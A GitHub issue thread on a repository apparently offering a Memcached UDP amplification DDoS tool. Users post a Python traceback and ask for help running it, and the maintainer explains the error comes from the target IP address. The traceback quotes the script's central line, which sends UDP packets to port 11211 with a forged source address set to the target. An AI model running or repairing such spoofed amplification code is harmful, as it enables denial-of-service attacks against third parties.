649 / Memcrashed-DDoS-Exploit

DDoS attack tool for sending forged UDP packets to vulnerable Memcached servers obtained using Shodan API
1.33k stars 465 forks source link

Error #23

Closed pageth closed 6 years ago

pageth commented 6 years ago
Traceback (most recent call last):
  File "/usr/lib/python3.6/site-packages/scapy/fields.py", line 238, in h2i
    inet_aton(x)
OSError: illegal IP address string passed to inet_aton

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "Memcrashed.py", line 122, in <module>
    send(IP(src=target, dst='%s' % i) / UDP(dport=11211)/Raw(load=data), count=p                                                                                                                                                             ower)
  File "/usr/lib/python3.6/site-packages/scapy/base_classes.py", line 240, in __                                                                                                                                                             call__
    i.__init__(*args, **kargs)
  File "/usr/lib/python3.6/site-packages/scapy/packet.py", line 134, in __init__
    self.fields[f] = self.get_field(f).any2i(self, v)
  File "/usr/lib/python3.6/site-packages/scapy/fields.py", line 259, in any2i
    return self.h2i(pkt,x)
  File "/usr/lib/python3.6/site-packages/scapy/fields.py", line 240, in h2i
    x = Net(x)
  File "/usr/lib/python3.6/site-packages/scapy/base_classes.py", line 90, in __i                                                                                                                                                             nit__
    self.parsed,self.netmask = self._parse_net(net)
  File "/usr/lib/python3.6/site-packages/scapy/base_classes.py", line 83, in _pa                                                                                                                                                             rse_net
    tmp[0]=socket.gethostbyname(tmp[0])
socket.gaierror: [Errno -2] Name does not resolve
sejozawer commented 6 years ago

I have this problem too. I don't know what is it. I make all only from guide. I use all command from python3. I need help too

nyashkin commented 6 years ago

I have this problem too.

psktheboss commented 6 years ago

same!

sejozawer commented 6 years ago

I find answer !!! Problem with DOCKER Please, look this picture and do it https://pp.userapi.com/c845124/v845124885/14fda/XwM3z-Cwalk.jpg

My english is very "cool" lol, but it's correct method.

649 commented 6 years ago

According to your error, you passed an illegal "IP address" to the scapy module. This is not a problem with the script but a problem with either scapy or the Ip address you tried to use for targetting within the PoC.